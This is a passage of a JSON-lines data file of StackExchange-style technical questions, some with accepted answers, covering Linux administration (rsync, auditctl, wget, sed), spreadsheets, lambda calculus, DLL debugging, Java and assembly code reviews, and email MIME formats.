{  "id": "_webapps.98241"  , "question": "I'm sure this is not as complicated as I'm trying to make it. What I'm trying to do is take a calculated cell value, add a letter to it, and reference it from another sheet.So, if A1 is a value of 1, then I want the value of Sheet1!A1If A1 is 92, I want the value of Sheet1!A92If A1 is 0, I don't want anything.If A1 is blank, I don't want anything."  , "title": "How to reference a cell using a cell value?"  , "tags": "google spreadsheets"  } 
{  "id": "_unix.10044"  , "question": "I am trying to cron an rsync via ssh between two fileservers that are running SME Server 7.4 and Ubuntu 10.10, respectively. The first rsync worked just fine (for reasons that I do not know), but now, well... here's the output:[i@i-drive ~]$ rsync -avz -e ssh /home/e-smith/files/ibays/drive-i/files/Warehouse\\ Pics/* fm-backup@[hostname removed]:~/img_all/sending incremental file listConverted Warehouse Pictures/rsync: failed to set times on /home/fm-backup/img_all/Converted Warehouse Pictures: Operation not permitted (1)Converted Warehouse Pictures/12903-13099/rsync: failed to set times on /home/fm-backup/img_all/Converted Warehouse Pictures/12903-13099: Operation not permitted (1)Converted Warehouse Pictures/12903-13099/13038/rsync: recv_generator: mkdir /home/fm-backup/img_all/Converted Warehouse Pictures/12903-13099/13038 failed: Permission denied (13)*** Skipping any contents from this failed directory ***Converted Warehouse Pictures/30500 - 30600/30677/rsync: failed to set times on /home/fm-backup/img_all/Converted Warehouse Pictures/30500 - 30600/30677: Operation not permitted (1)Converted Warehouse Pictures/30500 - 30600/30677/P1430928.JPGConverted Warehouse Pictures/30500 - 30600/30677/P1430929.JPGrsync: mkstemp /home/fm-backup/img_all/Converted Warehouse Pictures/30500 - 30600/30677/.P1430928.JPG.8SDmeO failed: Permission denied (13)rsync: mkstemp /home/fm-backup/img_all/Converted Warehouse Pictures/30500 - 30600/30677/.P1430929.JPG.qEfwpI failed: Permission denied (13)Converted Warehouse Pictures/30900 - 31000/rsync: recv_generator: mkdir /home/fm-backup/img_all/Converted Warehouse Pictures/30900 - 31000 failed: Permission denied (13)*** Skipping any contents from this failed directory ***Converted Warehouse Pictures/Tiff's Folder/rsync: failed to set times on /home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder: Operation not permitted (1)Converted Warehouse Pictures/Tiff's Folder/IMG_3474.JPGConverted Warehouse Pictures/Tiff's Folder/IMG_3475.JPGConverted Warehouse Pictures/Tiff's Folder/IMG_3476.JPGrsync: mkstemp /home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder/.IMG_3474.JPG.aBPfwH failed: Permission denied (13)rsync: mkstemp /home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder/.IMG_3475.JPG.4rQNSM failed: Permission denied (13)rsync: mkstemp /home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder/.IMG_3476.JPG.EpQJkY failed: Permission denied (13)Unconverted Warehouse Pictures/PANA 1430200/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430300/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430300: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430300/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430400/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430400: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430400/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430500/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430500: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430500/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430600/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430600: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430600/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430700/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430700: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430700/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430800/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430800: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430800/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430900/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430900: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430900/Thumbs.dbUnconverted Warehouse Pictures/PANA 1440000/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1440000: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1440000/Thumbs.dbUnconverted Warehouse Pictures/PANA 1440100/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1440100: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1440100/Thumbs.dbUnconverted Warehouse Pictures/PANA 1440200/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1440200: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1440200/Thumbs.dbrsync: mkstemp /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430200/.Thumbs.db.IRLwfB failed: Permission denied (13)inflate returned -3 (0 bytes)rsync error: error in rsync protocol data stream (code 12) at token.c(546) [receiver=3.0.7]rsync: connection unexpectedly closed (8118 bytes received so far) [sender]rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.7](Note: Trust me, I know that TRWTF is the terrible and horrible way that the directory is organized. That's another project for another day.)Neither account is root, and I don't want to have to make the accounts root for this to work. i@i-drive rsyncs just fine to my OSX fileserver, and from the same folder, even. The account on the OSX box isn't root, either."  , "title": "Why do I get an rsync: failed to set times on ... : Operation not permitted (1) error on Ubuntu 10.10 with SME Server 7.4?"  , "tags": "ubuntu;ssh;permissions;rsync;sme server"  } 
{  "id": "_unix.280597"  , "question": "How can someone print the entire time ie, for example 12:07:59:393(HH:MM:SS:milliseconds) in milliseconds. I found a lot of posts saying how to print Milliseconds along witht HHMMSS but I want to print the realtime clock in milliseconds. I'm using Linux."  , "title": "Millisecond time in a shell script"  , "tags": "shell;shell script;date"  } 
{  "id": "_unix.322473"  , "question": "Centos 7.2Multi Theft Auto 1.5.3 Linux ServerThis Game server runs fine.I would like to know how to best auto start this game server for 24/7 operation on all occasions of server startup/reboot/crash? And I would like it start in a screen that starts detached/minimized but re-attachable. I need an easy to understand step by step example.the program to start is located here:/home/gta3mta/multitheftauto_linux_x64-1.5.3/mta-server64"  , "title": "Cent OS 7 MTA:SA Game Server Auto Start on boot"  , "tags": "centos;boot;startup"  } 
{  "id": "_unix.180021"  , "question": "Researched:http://www.thecave.info/export-proxy-username-password-linux/https://stackoverflow.com/questions/5334110/text-based-ftp-client-settings-behind-a-proxyhttp://www.cyberciti.biz/faq/linux-unix-set-proxy-environment-variable/I have been reading up on reverse FTP; the concept of how it works as well as the configuration. However none could fully fufil my understanding base my the scenario I was give. Most of the web sites only states the commands to forward any FTP request to a proxy server. What I wanted to learn exactly how each individual nodes in the setup has to be configured (except the firewall)Scenario:[Internal FTP Server] -> [DMZ Reverse FTP Server] -> [External Clients Computers/Servers]When a legitimate client computer/server on the external network make a FTP request to the FTP server in the internal network, there will be a reverse FTP server which forwards the request between them. There will be two firewalls in between the reverse FTP server, external client and internal. A typical back-to-back firewall topology.FTP server will be installed on the internal FTP server (Normal Mode)The internal FTP server has to be configure to forward and receive any FTP request to/from the reverse FTP server in the DMZThe reverse FTP server has to be configure as a proxy server that can receive and forward any FTP requestExternal clients/servers should only be able to see the public IP address of the interface of the public facing firewallBoth servers, the FTP server and the reverse FTP server are running on Linux RHEL 6 OSWhat at the commands and steps should I take to perform such configurations on the FTP server as well as the reverse FTP server? Is there any security measures that I should take note of?"  , "title": "How to setup reverse FTP in RHEL?"  , "tags": "rhel;firewall;ftp;proxy;file server"  } 
{  "id": "_cs.29945"  , "question": "I've learned that one can represent natural numbers with lambda calculus like this:\\begin{align*}c_0 &= \\lambda s. \\lambda z. z\\\\c_1 &= \\lambda s. \\lambda z. s~z\\\\c_2 &= \\lambda s. \\lambda z. s~(s~z)\\\\c_3 &= \\lambda s. \\lambda z. s~(s~(s~z))\\\\\\end{align*}But could one also write\\begin{align*}c'_0 &= \\lambda z. \\lambda s. z\\\\c'_1 &= \\lambda z. \\lambda s. s~z\\\\c'_2 &= \\lambda z. \\lambda s. s~(s~z)\\\\c'_3 &= \\lambda z. \\lambda s. s~(s~(s~z))\\\\\\end{align*}?Why / why not?"  , "title": "Can the lambda functions in Church numbers be swapped?"  , "tags": "lambda calculus;church numerals"  } 
{  "id": "_reverseengineering.2728"  , "question": "I want to debug a DLL when it is called from an application. For example, when Firefox calls nss3.dll NSS Builtin Trusted Root CAs to check HTTPS Certificates, I want to catch the nss3.dll and debug all its transactions with a known debugger like OllyDBG or any other. How to trace threads created and debug them ?"  , "title": "How to debug DLL imported from an application?"  , "tags": "debuggers;debugging"  , "accepted_answer": "In OllyDBG and ImmunityDbg, in Options->Debugging Options-> Events you have an option Break on new module. If this option is set, whenever a new DLL is loaded, Olly/Immdbg will break and let you do your business. In Windbg follow Debug-> Event Filters, in the list you will find Load module, on the side set the options to Enabled and Handeled which will achieve the same result as above.If on the other hand you want to break on the specific function, you can check the DLL exports which lists all the functions exported by DLL. After the DLL is loaded, and the debugger breaks as per previously mentioned settings, you can then proceed to set the breakpoints on individual functions. "  } 
{  "id": "_unix.138045"  , "question": "I can't mount my encrypted devices anymore.The error is:device mapper: create ioctl failed device or resource busyThis error arises both with two different programs to access TrueCrypt encrypted devices: TrueCrypt and Tc-play.In this case, the recommendation is to remove /dev/mapper/truecrypt* directories, or look for processes that are blocking the device.  However, there is no /dev/mapper/truecrypt* directory, and lsof returns nothing.One TrueCrypt device takes a whole HDD.  According to fdisk, this partition is formatted with HPFS/NTFS.Another TrueCrypt device is on a partition on /dev/sda.  According to fdisk, this partition is Linux (ext3 or ext4, if I remember correctly).What could be causing the error?Software:Debian GNU/Linux 6"  , "title": "GNU/Linux: device mapper: create ioctl failed device or resource busy"  , "tags": "linux;device mapper;ioctl"  } 
{  "id": "_softwareengineering.154707"  , "question": "Our business analysts pushed hard to collect data through a spreadsheet.  I am the programmer responsible for importing that data.  Usually when they push hard for something like this, I never know how well it will work out until a few weeks later when I have time assigned to work on the task of programming the import of the data.  I have tried to do as much as possible along the way, named ranges, data validations, etc.  But I usually don't have time to take a detailed look at all the data and compare to the destination in the database to determine how well it matches up.A lot of times there will be maybe a little table of items that somehow I have to relate to something else in the database, but there are not natural or business keys present that would allow me to do so.   Make the best of this, trying to write something that can compare strings and make a best guess at it and then go through the effort of creating interfaces for a user to match the imported data to the destination.I feel like if the business analyst was actually creating a data model, they would be forced to think about these relationships, and have an appreciation for the need of natural or business keys to be part of the spreadsheet for the purposes of smoothly importing the data.  The closest they come to business analysis is a big flat list of fields, and that would be fine if it were like any other data dictionary and include data types+relationships, but it isn't.  They are just a bunch of names.  No indication of what type of data they might hold, and it is up to me to guess.  When I have pushed for more detail, they say that it is just busy work.How can I explain the importance of data modelling?  How can I tell them what it is and how to do it?  It feels impossible, because they don't have an appreciation for its importance.  They do however, usually have an interest in helping out in whatever way they can, it's just this in particular has never gotten a motivated response."  , "title": "How to show or direct a business analyst to do data modelling?"  , "tags": "requirements;systems analysis;data modeling"  } 
{  "id": "_unix.153294"  , "question": "I am examining the egress IPTABLES log of my computer for yesterday and notice the following:IN= OUT=eth0 SRC=192.168.1.1 DST=69.46.36.10 LEN=60 TOS=0x00 PREC=0x00  TTL=64 ID=12345 DF PROTO=TCP SPT=56789 DPT=4000 WINDOW=29200 RES=0x00  SYN URGP=0After looking up the list of well known TCP ports, there is only a Diablo II game using port 4000. I don't have the game installed on my computer. I tried but could not determine what other services could be connecting to the port.As this only happen yesterday, if I use netstat, I could be staring at the screen the entire day to catch the service in action. Is there a better way to determine what program or user connected to this particular port?"  , "title": "How can I determine what program or user connected to a particular port after the fact?"  , "tags": "iptables;tcp"  , "accepted_answer": "You can use the audit system to log all connect() system calls.sudo auditctl -a exit,always -F arch=b64 -S connect -k connectLogsudo auditctl -a exit,always -F arch=b32 -S connect -k connectLogThen you can search:sudo ausearch -i -k connectLog -w --host 69.46.36.10Which will show something like:type=SOCKADDR msg=audit(02/09/14 12:31:57.966:60482) : saddr=inet host:69.46.36.10 serv:4000type=SYSCALL msg=audit(02/09/14 12:31:57.966:60482) : arch=x86_64 syscall=connect success=no exit=-4(Interrupted system call) a0=0x3 a1=0x20384b0 a2=0x10 a3=0x7fffbf8c9540 items=0 ppid=21712 pid=25423 auid=stephane uid=stephane gid=stephane euid=stephane suid=stephane fsuid=stephane egid=stephane sgid=stephane fsgid=stephane tty=pts5 ses=4 comm=telnet exe=/usr/bin/telnet.netkit key=connectBTW, I've seen that IP address being resolved from grm.feedjit.com and connection attempts being done to that on 400x ports by iPhones."  } 
{  "id": "_unix.228454"  , "question": "I am a Linux admin beginner and knew that Linux can do so called ip alias today for the first time.My question: How can one NIC have two IPs at the same time? IP addresses must be identified by MAC address using ARP in general, I think. So, I'm confused that Linux can respond with the same MAC for two different IP requests by ARP, but I'm not sure.Is this guess right?"  , "title": "mechanism of IP alias"  , "tags": "linux;networking;ip"  , "accepted_answer": "ARP requests are the question Who has the address ? The fact that the same interface answers to a bunch of different addresses is no big deal."  } 
{  "id": "_codereview.169131"  , "question": "Are two points too close?Trying to do the math as efficiently as possible.deltaX + deltaY is going to be > than the actual distance You might use this in game play - are players in range? // testbool distanceTooClose = DistanceTooClose(new System.Windows.Point(12, 12), new System.Windows.Point(0, 0), 17);// end teststatic bool DistanceTooClose(System.Windows.Point x, System.Windows.Point y, Double minDistance){    double deltaX = Math.Abs(y.X - x.X);    double deltaY = Math.Abs(y.Y - x.Y);    if((deltaX + deltaY) < minDistance)    {        return false;    }    double distanceSquared = deltaX * deltaX + deltaY * deltaY;    //double distance = Math.Sqrt(distanceSquared);    Double minDistanceSquared = minDistance * minDistance;    return (distanceSquared <= minDistanceSquared);}"  , "title": "Distance too close"  , "tags": "c#;performance;.net;computational geometry"  , "accepted_answer": "This is something that you should run a benchmark on to see whether the branch is worth avoiding the 3 multiplications. It is very likely that the branch will not be worth it due to how branch prediction works. But that depends on what data you will be feeding into it and in how tight of a loop you call it."  } 
{  "id": "_softwareengineering.306395"  , "question": "I came from a highly functional and procedural background in programming, and never knew that a type is the same as an interface.As in the Design Patterns book by GoF, it says:A type is a name used to denote a particular interface. We speak of an object as having the type Window if it accepts all requests for the operations defined in the interface named Window. An object may have many types, and widely different objects can share a type. (p. 13)The surprising thing is, I thought of type as char (like a character, or 1 byte), or int (a word, or 4 bytes or 8 bytes), or a pointer to character (a string in C language) before.  Maybe even a struct with x and y as coordinate of a point, or an array, as a type, but I never thought of a type being an interface.So it looks like a Car object can be of the type Moveable and Soundable, and a Dog object can be of the type Moveable and Soundable, while a Circle object may be of the type Moveable only, until we decide that a Shape object also need to give out sound, when a user clicks on it, and we let the Shape class implement the Soundable interface and now a Circle object is also of the type Soundable?I wonder when and how it happened?  Is it actually said to be so by the GoF book for the first time in 1994 when the book got published?  Or is it actually existing idea that came from long time ago?  It actually sound exactly the same as Duck Typing, but Duck Typing seems like a new concept that began about in 2003 in the Python and Ruby community, not like an idea that was in 1994 or earlier."  , "title": "How and when did it happen that, a type is an interface?"  , "tags": "interfaces;history;dynamic typing;data types;type"  } 
{  "id": "_unix.111152"  , "question": "I am trying to recursively download http://ccachicago.org, and am getting exactly one file, the root index.html, downloaded.I've looked at Download recursively with wget and started using the recommended -e robots=off, but it still behaves the same.How, with wget or some other tool, can I download a copy of the site?"  , "title": "Why is wget -r -e robots=off http://ccachicago.org not acting recursively?"  , "tags": "wget;download"  , "accepted_answer": "you are asking wget to do a recursive download of http://ccachicago.org, but this URL doesn't provide any direct content. instead it is just a re-direct to http://www.ccachicago.org (which you haven't told wget to fetch recursively)..if you tell wget to download the correct URL it will work:wget -r -e robots=off http://www...."  } 
{  "id": "_datascience.6174"  , "question": "I am working on Rstudio on a server which has 250GB ram. But its taking too much time to handle a 2GB data file. how should i speed up my work?"  , "title": "Rstudio using 2.5% of 250GB RAM. how to Increase it"  , "tags": "r;rstudio"  } 
{  "id": "_webapps.3788"  , "question": "I was wondering if I can get read confirmation from messages sent through Gmail. Conversely,  Gmail's behavior concerning confirmations from senders is unclear to me. Does it automatically send read responses, or does it simply ignore them?My question concerns exclusively native Gmail features, without plugins or <img> tag hacks. And please: I do know that e-mail confirmations are a weak system and can be easily circumvented and so on. Enough preaching can be found here."  , "title": "Gmail read confirmation support"  , "tags": "gmail"  , "accepted_answer": "Ok, so you are asking about both directions, not just sending them.It does not matter whether you are sending or receiving regarding the web UI.  You cannot do anything concerning read receipts in GMail.  If you send a message from Outlook with a Read Receipt, GMail ignores it."  } 
{  "id": "_unix.97289"  , "question": "It's all very confusing. There are different examples out there,  for e.g.:<package-name>_<epoch>:<upstream-version>-<debian.version>-<architecture>.debsource: debian package file namesIs section 5.6.12 Version or the Debian Policy Manual also related to the actual package filename too? Or only to the fields in the control file?In this wiki topic about repository formats it doesn't really say anything about conventions, same in the developers best practices guide.Maybe I'm just looking for the wrong thing, please help me and tell me where to find the Debian package name conventions. I'm especially curious where to put the Debian codename. I want to do something like this:<package-name>_<version>.<revision>-<debiancodename>_<architecture>.debwhere <debiancodename> is just squeeze or wheezy."  , "title": "Debian package naming convention?"  , "tags": "debian;package management;packaging"  , "accepted_answer": "My understanding is that you want to distribute/deploy a package to multiple Debian based distributions.In the Debian/Ubuntu world, you should not provide individual .deb file to download and install. Instead you should provide an APT repository. (in the Fedora/Red Hat/CentOS world I would make a similar advice to provide a YUM repository). Not only does is solves issue of how to name deb file, but repository is an effective way to provide newer version of your package, including bug-fix and security updates. Creating an APT repository is beyond the purpose of this page/question, just search for how to setup an apt repositoryNow back to your question: package naming convention:When you generate the package with dpkg-buildpackage, the package will be named in a standard way. Quoting dpkg-name manpage:A full package name consists of package_version_architecture.package-type as specified in the control file of the package.package_version_architecture.package-typeThe Debian Policy is the right place to know the syntax of the control files: name (for both Source and binary packages), version, architecture, package-type.There is no provision to state the distribution, because this is not how the way thing goes.If you need to compile the same version of a package for multiple distributions, you will change the version field (in the debian/changelog and debian/control file). Some people use the distribution name in the version field. for example openssl:0.9.8o-4squeeze14 1.0.1e-2+deb7u141.0.1k-1 If that's what you want to do, make sure to read debian-policy about debian_revision in version."  } 
{  "id": "_cs.60131"  , "question": "I've been reading about hidden Markov models and stumbled upon A Tutorial on Hidden Markov Models and Selected Applications in Speech Recognition by Lawrence R. Rabiner (Proc. IEEE, 77(2):257–286, 1989; PDF). The following appears as equation 49 in the section about continuous observations in hidden Markov models:$$b_j(O) = \\sum_{m=1}^M c_{jm}\\mathfrak{N}[O, \\mu_{jm}, U_{jm}], \\quad 1\\leq j\\leq N\\,.$$What I want to know is how to use this equation given an estimation of the transition, emission, initial probabilities and a given continuous observed sequence to train the hidden Markov model using the Baum–Welch algorithm.Also I haven't read the rest of the paper, since I already have a good amount of knowledge about discrete hidden Markov models. I'm just trying to learn how to use continuous time series data to train an HMM."  , "title": "Continuous Observation Densities in HMM"  , "tags": "machine learning;hidden markov models"  } 
{  "id": "_unix.370593"  , "question": "I have given the reboot command unexpectedly,to prevent this issue need to assign password confirmation for shutdown or reboot activities even though logging as root.Kindly suggest to prevent this issue.Thanks in advance."  , "title": "how to prevent the manual shutdown or Reboot to set the passwd even though login as root"  , "tags": "passwd"  } 
{  "id": "_codereview.92643"  , "question": "I wrote a simple calculator with general operations. Give me please some advice, suggestions, and criticism about my code: code design, readability, mistakes.Calculator.javaimport javax.swing.*;public class Calculator {    public static void main(String[] args) {    CalculatorView calculator = new CalculatorView();    // Windows settings    calculator.setTitle(Simple Calculator);    calculator.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);    }}CalculatorEngine.java public class CalculatorEngine {    private enum Operator {        ADD, SUBTRACT, MULTIPLY, DIVIDE    }    private double currentTotal;    public String getTotalString() {        return currentTotal % 1.0 == 0                ? Integer.toString((int) currentTotal)                : String.valueOf(currentTotal);    }    public void equal(String number) {        currentTotal = Double.parseDouble(number);    }    public void add(String number) {        convertToDouble(number, Operator.ADD);    }    public void subtract(String number) {        convertToDouble(number, Operator.SUBTRACT);    }    public void multiply(String number) {        convertToDouble(number, Operator.MULTIPLY);    }    public void divide(String number) {        convertToDouble(number, Operator.DIVIDE);    }    private void convertToDouble(String number, Operator operator) {        double dblNumber = Double.parseDouble(number);        switch (operator) {            case ADD:                add(dblNumber);                break;            case SUBTRACT:                subtract(dblNumber);                break;            case MULTIPLY:                multiply(dblNumber);                break;            case DIVIDE:                divide(dblNumber);                break;            default:                throw new AssertionError(operator.name());        }    }    private void add(double number) {        currentTotal += number % 1.0 == 0 ? (int) number : number;    }    private void subtract(double number) {        currentTotal -= number % 1.0 == 0 ? (int) number : number;    }    private void multiply(double number) {        currentTotal *= number % 1.0 == 0 ? (int) number : number;    }    private void divide(double number) {        currentTotal /= number % 1.0 == 0 ? (int) number : number;    }}CalculatorView.javaimport javax.swing.*;import java.awt.*;import java.awt.event.ActionEvent;import java.awt.event.ActionListener;public class CalculatorView extends JFrame {    // Declaring fields    private JTextField display;    private static final Font BOLD_FONT = new Font(Font.MONOSPACED, Font.BOLD, 20);    // Variables for calculator's state    private boolean startNumber = true;                         // expecting number, not operation    private String prevOperation = =;                         // previous operation    private CalculatorEngine engine = new CalculatorEngine();   // Reference to CalculatorEngine    public CalculatorView() {        // Window settings        Dimension size = new Dimension(320, 300);        setPreferredSize(size);        setResizable(false);        // Display field        display = new JTextField(0, 18);        display.setFont(BOLD_FONT);        display.setHorizontalAlignment(JTextField.RIGHT);        // Operations panel 1        ActionListener operationListener = new OperationListener();        JPanel operationPanel1 = new JPanel();        String[] operationPanelNames1 = new String[]{+, -, *, /};        operationPanel1.setLayout(new GridLayout(2, 2, 2, 2));        for (String anOperationPanelNames1 : operationPanelNames1) {            JButton b = new JButton(anOperationPanelNames1);            operationPanel1.add(b);            b.addActionListener(operationListener);        }        // Operations panel 2        JPanel operationPanel2 = new JPanel();        operationPanel2.setLayout(new GridLayout(1, 1, 2, 2));        JButton clearButton = new JButton(C);        clearButton.addActionListener(new ClearKeyListener());        operationPanel2.add(clearButton);        JButton equalButton = new JButton(=);        equalButton.addActionListener(operationListener);        operationPanel2.add(equalButton);        // Buttons panel        JPanel buttonPanel = new JPanel();        ActionListener numberListener = new NumberKeyListener();        String[] buttonPanelNames = new String[]{7, 8, 9, 4, 5, 6, 1, 2, 3,  , 0,  };        buttonPanel.setLayout(new GridLayout(4, 3, 2, 2));        for (String buttonPanelName : buttonPanelNames) {            JButton b = new JButton(buttonPanelName);            if (buttonPanelName.equals( )) {                b.setEnabled(false);            }            b.addActionListener(numberListener);            buttonPanel.add(b);        }        // Main panel        JPanel mainPanel = new JPanel();        mainPanel.setLayout(new BorderLayout());        mainPanel.add(display, BorderLayout.NORTH);        mainPanel.add(operationPanel1, BorderLayout.EAST);        mainPanel.add(operationPanel2, BorderLayout.SOUTH);        mainPanel.add(buttonPanel, BorderLayout.CENTER);        // Window build        setContentPane(mainPanel);        pack();        setVisible(true);    }    private void actionClear() {        startNumber = true;        display.setText(0);        prevOperation = =;        engine.equal(0);    }    class OperationListener implements ActionListener {        @Override        public void actionPerformed(ActionEvent e) {            if (startNumber) {                actionClear();                display.setText(ERROR - wrong operation);            } else {                startNumber = true;                try {                    String displayText = display.getText();                    switch (prevOperation) {                        case =:                            engine.equal(displayText);                            break;                        case +:                            engine.add(displayText);                            break;                        case -:                            engine.subtract(displayText);                            break;                        case /:                            engine.divide(displayText);                            break;                        case *:                            engine.multiply(displayText);                            break;                    }                    display.setText( + engine.getTotalString());                } catch (NumberFormatException ex) {                    actionClear();                }                prevOperation = e.getActionCommand();            }        }    }    class NumberKeyListener implements ActionListener {        @Override        public void actionPerformed(ActionEvent e) {            String digit = e.getActionCommand();            if (startNumber) {                display.setText(digit);                startNumber = false;            } else {                display.setText(display.getText() + digit);            }        }    }    class ClearKeyListener implements ActionListener {        @Override        public void actionPerformed(ActionEvent e) {            actionClear();        }    }}"  , "title": "Simple calculator in Java using Swing and AWT"  , "tags": "java;swing;calculator;awt"  , "accepted_answer": "Usability issuesSome things don't work as I would expect:Pressing the equals button twice in a row or after clearing gives ERROR - wrong operationPressing an operation after the equal buttons (to continue calculations), gives ERROR - wrong operationIt would be good to optimize make the user interface a bit friendlier.Separation of concernsIt's good that you separated the engine, the view, and the main class that just sets up and runs everything.But it would be good to go further.The calculations are performed by the engine,and controlled by an action listener implemented inside the view,using a switch.Instead of a switch,it would be better to abstract the calculation logic,for example using an Operator interface with an apply method.The Calculator class could configure CalculatorView with an arbitrary collection of Operator implementations.In that setup,CalculatorView will not be aware of any of the calculation logic,it will just know that each operation implements Operator,and has an apply method to perform some calculation.That will be more flexible and extensible.NamingMany of the method and variable names are quite good,but there are some bad ones that stand out, for example in this code:    for (String anOperationPanelNames1 : operationPanelNames1) {        JButton b = new JButton(anOperationPanelNames1);        operationPanel1.add(b);        b.addActionListener(operationListener);    }anOperationPanelNames1 is the most terrible name in the code.b is not great either, spelling out to button would make it a tad more readable, and not terribly long.There is operationPanel1 and operationPanel2,but they are quite different in nature.The first contains operators used in calculations,the second is more about controlling the application,which is different from performing calculations.So instead of numbering variables,you could give them more meaningful names."  } 
{  "id": "_unix.378742"  , "question": "I have a mail.log line and using sed and pipes I can extract the subject, the sender, and the recipient of the mail, echo Jul 15 09:04:38 mail postfix/cleanup[36034]: 4A4E5600A5DE0: info: header Subject: The tittle of the message from localhost[127.0.0.1]; from=<sender01@mydomain> to=<recipient01@mydomain> proto=ESMTP helo=<mail.mydomain> | sed -e 's/^.*Subject: //' -e 's/\\]//' -e 's/from localhost//' -e 's/^.\\];//' |sed -e 's/\\[127.0.0.1; //' -e 's/proto=ESMTP helo=<mail.mydomain>//'I have the outputThe tittle of the message from=<sender01@mydomain> to=<recipient01@mydomain>my desired output isJul 15 09:04:38 The tittle of the message from=<sender01@mydomain> to=<recipient01@mydomain>How to extract the date and added it to the output?"  , "title": "print the date of a mail.log line"  , "tags": "sed;logs;date;output"  , "accepted_answer": "Ugly but put this at the beginning of the sed statement: -e 's/^\\([[:alpha:]]+ [[:digit:]]+ [[:digit:]]+:[[:digit:]]+:[[:digit:]]+\\).*Subject:\\(.*\\)/\\1\\2/'Or if you always know that ' mail postfix' will be in the text at that position you can just use: -e 's/^\\(.*\\) mail postfix.*Subject:\\(.*\\)/\\1\\2/'And other variations are possible. The key is to capture the date, skip over parts you don't care about, and again capture the remainder that you still need to process. To capture surround with \\( and \\) and to print what you've captured use \\n where n is the position of a particular capture (first is 1, second is 2, etc.)And now that you know this you can probably figure out how to eliminate all of the separate directives (-e), use multiple capture groups, and get it down to a single sed expression. "  } 
{  "id": "_codereview.98888"  , "question": "- INTERRUPT HANDLER -> READ FROM IN.1 THROUGH IN.4> WRITE THE INPUT NUMBER WHEN  THE VALUE GOES FROM 0 TO 1> TWO INTERRUPTS WILL NEVER CHANGE  IN THE SAME INPUT CYCLEI was stuck on this one when I went to bed last night.  But of course, like any good programmer, sleeping is when I get most of my work done.My primary goal here is fewer cycle counts.  If the above... erm, graph... is anything to go by, it looks like I could have quite a bit less cycle counts.  Secondary would be reducing the instruction count (but not at the expense of cycle counts).  I can imagine how to get it down to 7 nodes rather than 9, but I can't imagine that also makes the program more efficient (in terms of cycle counts).So, how can I reduce the cycle counts here?ROW 1, COLUMN 1 (IN.1)MOV UP, ACCSTART: MOV 0, DOWN JEZ CHECK JNZ CONTINUECHECK: MOV UP, ACC JEZ START MOV 1, DOWNCONTINUE: MOV UP, ACC JMP STARTROW 1, COLUMN 2 (IN.2)MOV UP, ACCSTART: MOV 0, DOWN JEZ CHECK JNZ CONTINUECHECK: MOV UP, ACC JEZ START MOV 2, DOWNCONTINUE: MOV UP, ACC JMP STARTROW 1, COLUMN 3 (IN.3)MOV UP, ACCSTART: MOV 0, DOWN JEZ CHECK JNZ CONTINUECHECK: MOV UP, ACC JEZ START MOV 3, DOWNCONTINUE: MOV UP, ACC JMP STARTROW 1, COLUMN 4 (IN.4)MOV UP, ACCSTART: MOV 0, DOWN JEZ CHECK JNZ CONTINUECHECK: MOV UP, ACC JEZ START MOV 4, DOWNCONTINUE: MOV UP, ACC JMP STARTROW 2, COLUMN 1MOV UP, RIGHTROW 2, COLUMN 2ADD LEFTADD UPMOV ACC, RIGHTMOV 0, ACCROW 2, COLUMN 3ADD LEFTADD UPADD RIGHTMOV ACC, DOWNMOV 0, ACCROW 2, COLUMN 4MOV UP, LEFTROW 3, COLUMN 3 (OUT)MOV ANY, DOWN"  , "title": "Assembling an Interrupt Handler"  , "tags": "performance;assembly;tis 100"  } 
{  "id": "_webapps.9585"  , "question": "I'm testing some mail sending software that I've written and I'm sending emails in text/plain format with an alternative format of text/html.How do I toggle between the text/plain and text/html views in a web based mail client? I'm using Yahoo, Hotmail, and Gmail for my testing so the method to toggle the views in any one of those clients will work for me.(At the moment all the clients show me the email in text/html format but I want to verify that the text/plain format is good but can't see it.)"  , "title": "Toggle text/plain and text/html in email client such as yahoo, gmail, or hotmail"  , "tags": "email"  , "accepted_answer": "In Gmail, I think your only option is to click the arrow on the top right of the message, and then choose Show Original.The message is most likely to be sent in MIME format, so you can scroll down past the headers and look for something like this: Content-Type: text/plain. In MIME format, there are unique strings (boundaries) between each message part, I believe that each email client chooses its own string to use. You can find out what is being used if you locate the following header:Content-Type: multipart/alternative;        boundary=-----------=Sample_Msg_Part156165161321654In this case, the string -----------=Sample_Msg_Part156165161321654 is used to delimit the different message parts.Here's an example...Let's say that the message has the following content:From: user@example.comTo: user@example.comSubject: 